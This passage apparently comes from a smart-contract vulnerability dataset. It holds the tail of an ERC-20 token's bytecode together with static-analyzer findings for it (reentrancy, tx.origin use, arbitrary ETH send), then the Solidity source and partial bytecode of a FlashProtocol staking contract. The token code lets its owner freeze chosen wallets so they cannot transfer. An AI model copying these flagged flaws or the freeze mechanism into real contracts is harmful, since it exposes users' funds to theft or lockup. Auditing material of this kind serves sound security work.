04090205460ff16155b80156107be5750600a546001600160a01b038581169116145b1561080d576001600160a01b038316321461080d5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108188484846111de565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610847908490611e82565b90506108548533836110ba565b506001949350505050565b600061086a30610a5a565b905090565b6008546001600160a01b0316336001600160a01b03161461088f57600080fd5b60005b81518110156108f7576000600660008484815181106108b3576108b3611e99565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ef81611eaf565b915050610892565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161080490611eca565b6008546001600160a01b0316336001600160a01b03161461094557600080fd5b6000811161098a5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610804565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106d3565b6009546001600160a01b0316336001600160a01b0316146109df57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106d3565b6008546001600160a01b0316336001600160a01b031614610a4d57600080fd5b47610a578161184d565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161080490611eca565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106eb3384846111de565b6008546001600160a01b0316336001600160a01b031614610b1657600080fd5b60005b81518110156108f757600a5482516001600160a01b0390911690839083908110610b4557610b45611e99565b60200260200101516001600160a01b031614158015610b96575060075482516001600160a01b0390911690839083908110610b8257610b82611e99565b60200260200101516001600160a01b031614155b15610bf357600160066000848481518110610bb357610bb3611e99565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bfd81611eaf565b915050610b19565b6008546001600160a01b0316336001600160a01b031614610c2557600080fd5b6000610c3030610a5a565b9050610a57816118d2565b6000546001600160a01b03163314610c655760405162461bcd60e51b815260040161080490611eca565b60115460ff1615610cb25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610804565b6011805460ff19166001179055426010556801158e460913d00000600e55673782dace9d900000600f55565b600a5460009061086a906001600160a01b0316610a5a565b6000546001600160a01b03163314610d205760405162461bcd60e51b815260040161080490611eca565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106d3565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b815260040161080490611eca565b60115460ff1615610dea5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610804565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e273082683635c9adc5dea000006110ba565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e899190611eff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ed6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efa9190611eff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190611eff565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f9b81610a5a565b600080610fb06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611018573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103d9190611f1c565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f79190611f4a565b6001600160a01b03831661111c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610804565b6001600160a01b03821661117d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610804565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610804565b6001600160a01b0382166112a45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610804565b600081116113065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610804565b6001600160a01b03831660009081526006602052604090205460ff161561137b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610804565b600080546001600160a01b038581169116148015906113a857506000546001600160a01b03848116911614155b156117ee57600a546001600160a01b0385811691161480156113d857506007546001600160a01b03848116911614155b80156113fd57506001600160a01b03831660009081526004602052604090205460ff16155b1561168a5760115460ff166114545760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610804565b6010544214156114945760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610804565b42601054610e106114a59190611f67565b111561151f57600f546114b784610a5a565b6114c19084611f67565b111561151f5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610804565b6001600160a01b03831660009081526005602052604090206001015460ff16611587576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115979190611f67565b111561166b57600e548211156115ef5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610804565b6115fa42600f611f67565b6001600160a01b0384166000908152600560205260409020541061166b5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610804565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116a4575060115460ff165b80156116be5750600a546001600160a01b03858116911614155b156117ee576116ce42600f611f67565b6001600160a01b038516600090815260056020526040902054106117405760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610804565b600061174b30610a5a565b905080156117d75760115462010000900460ff16156117ce57600d54600a5460649190611780906001600160a01b0316610a5a565b61178a9190611f7f565b6117949190611f9e565b8111156117ce57600d54600a54606491906117b7906001600160a01b0316610a5a565b6117c19190611f7f565b6117cb9190611f9e565b90505b6117d7816118d2565b4780156117e7576117e74761184d565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061183057506001600160a01b03841660009081526004602052604090205460ff165b15611839575060005b6118468585858486611a46565b5050505050565b6008546001600160a01b03166108fc611867600284611f9e565b6040518115909202916000818181858888f1935050505015801561188f573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118aa600284611f9e565b6040518115909202916000818181858888f193505050501580156108f7573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061191657611916611e99565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561196f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119939190611eff565b816001815181106119a6576119a6611e99565b6001600160a01b0392831660209182029290920101526007546119cc91309116846110ba565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a05908590600090869030904290600401611fc0565b600060405180830381600087803b158015611a1f57600080fd5b505af1158015611a33573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a528383611a68565b9050611a6086868684611aaf565b505050505050565b6000808315611aa8578215611a805750600b54611aa8565b50600c54601054611a9390610384611f67565b421015611aa857611aa5600582611f67565b90505b9392505050565b600080611abc8484611b8c565b6001600160a01b0388166000908152600260205260409020549193509150611ae5908590611e82565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b15908390611f67565b6001600160a01b038616600090815260026020526040902055611b3781611bc0565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b7c91815260200190565b60405180910390a3505050505050565b600080806064611b9c8587611f7f565b611ba69190611f9e565b90506000611bb48287611e82565b96919550909350505050565b30600090815260026020526040902054611bdb908290611f67565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c1b57858101830151858201604001528201611bff565b81811115611c2d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a5757600080fd5b8035611c6381611c43565b919050565b600060208284031215611c7a57600080fd5b8135611aa881611c43565b60008060408385031215611c9857600080fd5b8235611ca381611c43565b946020939093013593505050565b60008060408385031215611cc457600080fd5b50508035926020909101359150565b600080600060608486031215611ce857600080fd5b8335611cf381611c43565b92506020840135611d0381611c43565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d3d57600080fd5b823567ffffffffffffffff80821115611d5557600080fd5b818501915085601f830112611d6957600080fd5b813581811115611d7b57611d7b611d14565b8060051b604051601f19603f83011681018181108582111715611da057611da0611d14565b604052918252848201925083810185019188831115611dbe57600080fd5b938501935b82851015611de357611dd485611c58565b84529385019392850192611dc3565b98975050505050505050565b600060208284031215611e0157600080fd5b5035919050565b8015158114610a5757600080fd5b600060208284031215611e2857600080fd5b8135611aa881611e08565b60008060408385031215611e4657600080fd5b8235611e5181611c43565b91506020830135611e6181611c43565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e9457611e94611e6c565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ec357611ec3611e6c565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f1157600080fd5b8151611aa881611c43565b600080600060608486031215611f3157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f5c57600080fd5b8151611aa881611e08565b60008219821115611f7a57611f7a611e6c565b500190565b6000816000190483118215151615611f9957611f99611e6c565b500290565b600082611fbb57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120105784516001600160a01b031683529383019391830191600101611feb565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122096fe0b484731d38d98ee744ed8719995b28f62e85ad82b1932a20e54cb99a73564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,663
0x15eb0c763581329c921c8398556ecff85cc48275
/** *Submitted for verification at Etherscan.io on 2021-03-31 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.4; interface IFlashToken { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function mint(address to, uint256 value) external returns (bool); function burn(uint256 value) external returns (bool); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } interface IFlashReceiver { function receiveFlash( bytes32 id, uint256 amountIn, uint256 expireAfter, uint256 mintedAmount, address staker, bytes calldata data ) external returns (uint256); } interface IFlashProtocol { enum LockedFunctions { SET_MATCH_RATIO, SET_MATCH_RECEIVER } function TIMELOCK() external view returns (uint256); function FLASH_TOKEN() external view returns (address); function matchRatio() external view returns (uint256); function matchReceiver() external view returns (address); function stakes(bytes32 _id) external view returns ( uint256 amountIn, uint256 expiry, uint256 expireAfter, uint256 mintedAmount, address staker, address receiver ); function stake( uint256 _amountIn, uint256 _days, address _receiver, bytes calldata _data ) external returns ( uint256 mintedAmount, uint256 matchedAmount, bytes32 id ); function lockFunction(LockedFunctions _lockedFunction) external; function unlockFunction(LockedFunctions _lockedFunction) external; function timelock(LockedFunctions _lockedFunction) external view returns (uint256); function balances(address _staker) external view returns (uint256); function unstake(bytes32 _id) external returns (uint256 withdrawAmount); function unstakeEarly(bytes32 _id) external returns (uint256 withdrawAmount); function getFPY(uint256 _amountIn) external view returns (uint256); function setMatchReceiver(address _newMatchReceiver) external; function setMatchRatio(uint256 _newMatchRatio) external; function getMatchedAmount(uint256 mintedAmount) external view returns (uint256); function getMintAmount(uint256 _amountIn, uint256 _expiry) external view returns (uint256); function getPercentageStaked(uint256 _amountIn) external view returns (uint256 percentage); function calculateMaxStakePeriod(uint256 _amountIn) external view returns (uint256); function stakeWithPermit( address _receiver, uint256 _amountIn, uint256 _expiry, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, bytes calldata _data ) external returns ( uint256 mintedAmount, uint256 matchedAmount, bytes32 id ); } library SafeMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "MATH:: ADD_OVERFLOW"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "MATH:: SUB_UNDERFLOW"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MATH:: MUL_OVERFLOW"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "MATH:: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract FlashProtocol is IFlashProtocol { using SafeMath for uint256; using Address for address; struct Stake { uint256 amountIn; uint256 expiry; uint256 expireAfter; uint256 mintedAmount; address staker; address receiver; } uint256 public constant override TIMELOCK = 3 days; address public constant override FLASH_TOKEN = 0x20398aD62bb2D930646d45a6D4292baa0b860C1f; uint256 internal constant PRECISION = 1e18; uint256 internal constant MAX_FPY_FOR_1_YEAR = 5e17; uint256 internal constant SECONDS_IN_1_YEAR = 365 * 86400; uint256 public override matchRatio; address public override matchReceiver; mapping(bytes32 => Stake) public override stakes; mapping(LockedFunctions => uint256) public override timelock; mapping(address => uint256) public override balances; event Staked( bytes32 _id, uint256 _amountIn, uint256 _expiry, uint256 _expireAfter, uint256 _mintedAmount, address indexed _staker, address indexed _receiver ); event Unstaked(bytes32 _id, uint256 _amountIn, address indexed _staker); modifier onlyMatchReceiver { require(msg.sender == matchReceiver, "FlashProtocol:: NOT_MATCH_RECEIVER"); _; } modifier notLocked(LockedFunctions _lockedFunction) { require( timelock[_lockedFunction] != 0 && timelock[_lockedFunction] <= block.timestamp, "FlashProtocol:: FUNCTION_TIMELOCKED" ); _; } constructor(address _initialMatchReceiver, uint256 _initialMatchRatio) { _setMatchRatio(_initialMatchRatio); _setMatchReceiver(_initialMatchReceiver); } function lockFunction(LockedFunctions _lockedFunction) external override onlyMatchReceiver { timelock[_lockedFunction] = type(uint256).max; } function unlockFunction(LockedFunctions _lockedFunction) external override onlyMatchReceiver { timelock[_lockedFunction] = block.timestamp + TIMELOCK; } function setMatchReceiver(address _newMatchReceiver) external override onlyMatchReceiver notLocked(LockedFunctions.SET_MATCH_RECEIVER) { _setMatchReceiver(_newMatchReceiver); timelock[LockedFunctions.SET_MATCH_RECEIVER] = 0; } function _setMatchReceiver(address _newMatchReceiver) internal { matchReceiver = _newMatchReceiver; } function setMatchRatio(uint256 _newMatchRatio) external override onlyMatchReceiver notLocked(LockedFunctions.SET_MATCH_RATIO) { _setMatchRatio(_newMatchRatio); timelock[LockedFunctions.SET_MATCH_RATIO] = 0; } function _setMatchRatio(uint256 _newMatchRatio) internal { require(_newMatchRatio >= 0 && _newMatchRatio <= 2000, "FlashProtocol:: INVALID_MATCH_RATIO"); // can be 0 and cannot be above 20% require(_newMatchRatio <= 2000, "FlashProtocol:: INVALID_MATCH_RATIO"); matchRatio = _newMatchRatio; } function stake( uint256 _amountIn, uint256 _expiry, address _receiver, bytes calldata _data ) external override returns ( uint256, uint256, bytes32 ) { return _stake(_amountIn, _expiry, _receiver, _data); } function stakeWithPermit( address _receiver, uint256 _amountIn, uint256 _expiry, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, bytes calldata _data ) external override returns ( uint256, uint256, bytes32 ) { IFlashToken(FLASH_TOKEN).permit(msg.sender, address(this), type(uint256).max, _deadline, _v, _r, _s); return _stake(_amountIn, _expiry, _receiver, _data); } function _stake( uint256 _amountIn, uint256 _expiry, address _receiver, bytes calldata _data ) internal returns ( uint256 mintedAmount, uint256 matchedAmount, bytes32 id ) { require(_amountIn > 0, "FlashProtocol:: INVALID_AMOUNT"); require(_receiver != address(this), "FlashProtocol:: INVALID_ADDRESS"); require(_expiry <= calculateMaxStakePeriod(_amountIn), "FlashProtocol:: MAX_STAKE_PERIOD_EXCEEDS"); address staker = msg.sender; uint256 expiration = block.timestamp.add(_expiry); balances[staker] = balances[staker].add(_amountIn); id = keccak256(abi.encodePacked(_amountIn, _expiry, _receiver, staker, block.timestamp)); require(stakes[id].staker == address(0), "FlashProtocol:: STAKE_EXISTS"); mintedAmount = getMintAmount(_amountIn, _expiry); matchedAmount = getMatchedAmount(mintedAmount); IFlashToken(FLASH_TOKEN).transferFrom(staker, address(this), _amountIn); IFlashToken(FLASH_TOKEN).mint(_receiver, mintedAmount); IFlashToken(FLASH_TOKEN).mint(matchReceiver, matchedAmount); stakes[id] = Stake(_amountIn, _expiry, expiration, mintedAmount, staker, _receiver); if (_receiver.isContract()) { IFlashReceiver(_receiver).receiveFlash(id, _amountIn, expiration, mintedAmount, staker, _data); } emit Staked(id, _amountIn, _expiry, expiration, mintedAmount, staker, _receiver); } function unstake(bytes32 _id) external override returns (uint256 withdrawAmount) { Stake memory s = stakes[_id]; require(block.timestamp >= s.expireAfter, "FlashProtol:: STAKE_NOT_EXPIRED"); balances[s.staker] = balances[s.staker].sub(s.amountIn); withdrawAmount = s.amountIn; delete stakes[_id]; IFlashToken(FLASH_TOKEN).transfer(s.staker, withdrawAmount); emit Unstaked(_id, s.amountIn, s.staker); } function unstakeEarly(bytes32 _id) external override returns (uint256 withdrawAmount) { Stake memory s = stakes[_id]; address staker = msg.sender; require(s.staker == staker, "FlashProtocol:: INVALID_STAKER"); uint256 remainingTime = (s.expireAfter.sub(block.timestamp)); require(s.expiry > remainingTime, "Flash Protocol:: INVALID_UNSTAKE_TIME"); uint256 burnAmount = _calculateBurn(s.amountIn, remainingTime, s.expiry); assert(burnAmount <= s.amountIn); balances[staker] = balances[staker].sub(s.amountIn); withdrawAmount = s.amountIn.sub(burnAmount); delete stakes[_id]; IFlashToken(FLASH_TOKEN).burn(burnAmount); IFlashToken(FLASH_TOKEN).transfer(staker, withdrawAmount); emit Unstaked(_id, withdrawAmount, staker); } function getMatchedAmount(uint256 _mintedAmount) public view override returns (uint256) { return _mintedAmount.mul(matchRatio).div(10000); } function getMintAmount(uint256 _amountIn, uint256 _expiry) public view override returns (uint256) { return _amountIn.mul(_expiry).mul(getFPY(_amountIn)).div(PRECISION * SECONDS_IN_1_YEAR); } function getFPY(uint256 _amountIn) public view override returns (uint256) { return (PRECISION.sub(getPercentageStaked(_amountIn))).div(2); } function getPercentageStaked(uint256 _amountIn) public view override returns (uint256) { uint256 locked = IFlashToken(FLASH_TOKEN).balanceOf(address(this)).add(_amountIn); return locked.mul(PRECISION).div(IFlashToken(FLASH_TOKEN).totalSupply()); } function calculateMaxStakePeriod(uint256 _amountIn) public view override returns (uint256) { return MAX_FPY_FOR_1_YEAR.mul(SECONDS_IN_1_YEAR).div(getFPY(_amountIn)); } function _calculateBurn( uint256 _amount, uint256 _remainingTime, uint256 _totalTime ) private pure returns (uint256) { return _amount.mul(_remainingTime).div(_totalTime); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637aadef8b116100ad578063b4fa3b9811610071578063b4fa3b9814610448578063c17bae2a14610468578063cc704d5414610488578063d08c9702146104a5578063e345a380146104ad5761012c565b80637aadef8b146103155780638fee64071461031d578063a066983d14610379578063aa53099d14610405578063b3e1f050146104255761012c565b806332a3fcb8116100f457806332a3fcb8146101ef5780635b49129e146102b657806368220664146102be57806371ed5d1a146102db57806376f5cf28146102f85761012c565b80631051f696146101315780631f75caac1461016057806323c6e14c1461017d57806327212b5b146101a157806327e235e3146101c9575b600080fd5b61014e6004803603602081101561014757600080fd5b50356104ca565b60408051918252519081900360200190f35b61014e6004803603602081101561017657600080fd5b50356104f3565b610185610517565b604080516001600160a01b039092168252519081900360200190f35b6101c7600480360360208110156101b757600080fd5b50356001600160a01b031661052f565b005b61014e600480360360208110156101df57600080fd5b50356001600160a01b0316610649565b610298600480360361010081101561020657600080fd5b6001600160a01b038235169160208101359160408201359160608101359160ff6080830135169160a08101359160c08201359190810190610100810160e082013564010000000081111561025957600080fd5b82018360208201111561026b57600080fd5b8035906020019184600183028401116401000000008311171561028d57600080fd5b50909250905061065b565b60408051938452602084019290925282820152519081900360600190f35b61014e61071a565b61014e600480360360208110156102d457600080fd5b5035610720565b61014e600480360360208110156102f157600080fd5b5035610851565b6101c76004803603602081101561030e57600080fd5b5035610a83565b61014e610b7e565b61033a6004803603602081101561033357600080fd5b5035610b85565b6040805196875260208701959095528585019390935260608501919091526001600160a01b0390811660808501521660a0830152519081900360c00190f35b6102986004803603608081101561038f57600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156103c657600080fd5b8201836020820111156103d857600080fd5b803590602001918460018302840111640100000000831117156103fa57600080fd5b509092509050610bc8565b6101c76004803603602081101561041b57600080fd5b503560ff16610beb565b61014e6004803603604081101561043b57600080fd5b5080359060200135610c69565b6101c76004803603602081101561045e57600080fd5b503560ff16610c96565b61014e6004803603602081101561047e57600080fd5b503560ff16610cf2565b61014e6004803603602081101561049e57600080fd5b5035610d04565b610185610d26565b61014e600480360360208110156104c357600080fd5b5035610d35565b60006104ed6127106104e76000548561105990919063ffffffff16565b906110be565b92915050565b60006104ed61050183610d04565b6104e76706f05b59d3b200006301e13380611059565b7320398ad62bb2d930646d45a6d4292baa0b860c1f81565b6001546001600160a01b031633146105785760405162461bcd60e51b81526004018080602001828103825260228152602001806119626022913960400191505060405180910390fd5b6001600081905260036020527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c54158015906105dd575042600360008360018111156105c057fe5b60018111156105cb57fe5b81526020019081526020016000205411155b6106185760405162461bcd60e51b81526004018080602001828103825260238152602001806119176023913960400191505060405180910390fd5b61062182611128565b600060038160015b600181111561063457fe5b81526020810191909152604001600020555050565b60046020526000908152604090205481565b6040805163d505accf60e01b815233600482015230602482015260001960448201526064810188905260ff8716608482015260a4810186905260c481018590529051600091829182917320398ad62bb2d930646d45a6d4292baa0b860c1f9163d505accf9160e480820192869290919082900301818387803b1580156106e057600080fd5b505af11580156106f4573d6000803e3d6000fd5b505050506107058b8b8e888861114a565b92509250925099509950999650505050505050565b60005481565b6000806107ba837320398ad62bb2d930646d45a6d4292baa0b860c1f6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561078857600080fd5b505afa15801561079c573d6000803e3d6000fd5b505050506040513d60208110156107b257600080fd5b505190611744565b905061084a7320398ad62bb2d930646d45a6d4292baa0b860c1f6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561080c57600080fd5b505afa158015610820573d6000803e3d6000fd5b505050506040513d602081101561083657600080fd5b50516104e783670de0b6b3a7640000611059565b9392505050565b600061085b611886565b50600082815260026020818152604092839020835160c08101855281548152600182015492810192909252918201549281018390526003820154606082015260048201546001600160a01b03908116608083015260059092015490911660a082015290421015610912576040805162461bcd60e51b815260206004820152601f60248201527f466c61736850726f746f6c3a3a205354414b455f4e4f545f4558504952454400604482015290519081900360640190fd5b805160808201516001600160a01b031660009081526004602052604090205461093a91611792565b6080820180516001600160a01b0390811660009081526004602081815260408084209690965586518984526002808352878520858155600181018690559081018590556003810185905580840180546001600160a01b03199081169091556005909101805490911690559451865163a9059cbb60e01b81529416918401919091526024830184905293519295507320398ad62bb2d930646d45a6d4292baa0b860c1f9363a9059cbb93604480850194929391928390030190829087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d6020811015610a2d57600080fd5b50506080810151815160408051868152602081019290925280516001600160a01b03909316927f2ce17f91452598d1f926f6cfe29a9d42a67ff82b45d1eb94e0634c27555c14da9281900390910190a250919050565b6001546001600160a01b03163314610acc5760405162461bcd60e51b81526004018080602001828103825260228152602001806119626022913960400191505060405180910390fd5b600080805260036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff5415801590610b2f57504260036000836001811115610b1257fe5b6001811115610b1d57fe5b81526020019081526020016000205411155b610b6a5760405162461bcd60e51b81526004018080602001828103825260238152602001806119176023913960400191505060405180910390fd5b610b73826117e1565b600060038180610629565b6203f48081565b6002602081905260009182526040909120805460018201549282015460038301546004840154600590940154929493919290916001600160a01b03908116911686565b6000806000610bda888888888861114a565b925092509250955095509592505050565b6001546001600160a01b03163314610c345760405162461bcd60e51b81526004018080602001828103825260228152602001806119626022913960400191505060405180910390fd5b6203f480420160036000836001811115610c4a57fe5b6001811115610c5557fe5b815260208101919091526040016000205550565b600061084a6a1a1601fc4ea7109e0000006104e7610c8686610d04565b610c908787611059565b90611059565b6001546001600160a01b03163314610cdf5760405162461bcd60e51b81526004018080602001828103825260228152602001806119626022913960400191505060405180910390fd5b60001960036000836001811115610c4a57fe5b60036020526000908152604090205481565b60006104ed60026104e7610d1785610720565b670de0b6b3a764000090611792565b6001546001600160a01b031681565b6000610d3f611886565b50600082815260026020818152604092839020835160c0810185528154815260018201549281019290925291820154928101929092526003810154606083015260048101546001600160a01b03908116608084018190526005909201541660a083015233908114610df7576040805162461bcd60e51b815260206004820152601e60248201527f466c61736850726f746f636f6c3a3a20494e56414c49445f5354414b45520000604482015290519081900360640190fd5b6040820151600090610e099042611792565b905080836020015111610e4d5760405162461bcd60e51b81526004018080602001828103825260258152602001806118cf6025913960400191505060405180910390fd5b6000610e628460000151838660200151611868565b8451909150811115610e7057fe5b83516001600160a01b038416600090815260046020526040902054610e9491611792565b6001600160a01b0384166000908152600460205260409020558351610eb99082611792565b60008781526002602081815260408084208481556001810185905592830184905560038301849055600480840180546001600160a01b0319908116909155600590940180549094169093558051630852cd8d60e31b8152928301869052519398507320398ad62bb2d930646d45a6d4292baa0b860c1f936342966c68936024808501948390030190829087803b158015610f5257600080fd5b505af1158015610f66573d6000803e3d6000fd5b505050506040513d6020811015610f7c57600080fd5b50506040805163a9059cbb60e01b81526001600160a01b03851660048201526024810187905290517320398ad62bb2d930646d45a6d4292baa0b860c1f9163a9059cbb9160448083019260209291908290030181600087803b158015610fe157600080fd5b505af1158015610ff5573d6000803e3d6000fd5b505050506040513d602081101561100b57600080fd5b5050604080518781526020810187905281516001600160a01b038616927f2ce17f91452598d1f926f6cfe29a9d42a67ff82b45d1eb94e0634c27555c14da928290030190a250505050919050565b600082611068575060006104ed565b8282028284828161107557fe5b041461084a576040805162461bcd60e51b81526020600482015260136024820152724d4154483a3a204d554c5f4f564552464c4f5760681b604482015290519081900360640190fd5b6000808211611114576040805162461bcd60e51b815260206004820152601760248201527f4d4154483a3a204449564953494f4e5f42595f5a45524f000000000000000000604482015290519081900360640190fd5b600082848161111f57fe5b04949350505050565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008060008088116111a3576040805162461bcd60e51b815260206004820152601e60248201527f466c61736850726f746f636f6c3a3a20494e56414c49445f414d4f554e540000604482015290519081900360640190fd5b6001600160a01b038616301415611201576040805162461bcd60e51b815260206004820152601f60248201527f466c61736850726f746f636f6c3a3a20494e56414c49445f4144445245535300604482015290519081900360640190fd5b61120a886104f3565b8711156112485760405162461bcd60e51b815260040180806020018281038252602881526020018061193a6028913960400191505060405180910390fd5b336000611255428a611744565b6001600160a01b03831660009081526004602052604090205490915061127b908b611744565b60046000846001600160a01b03166001600160a01b0316815260200190815260200160002081905550898989844260405160200180868152602001858152602001846001600160a01b031660601b8152601401836001600160a01b031660601b81526014018281526020019550505050505060405160208183030381529060405280519060200120925060006001600160a01b03166002600085815260200190815260200160002060040160009054906101000a90046001600160a01b03166001600160a01b0316146113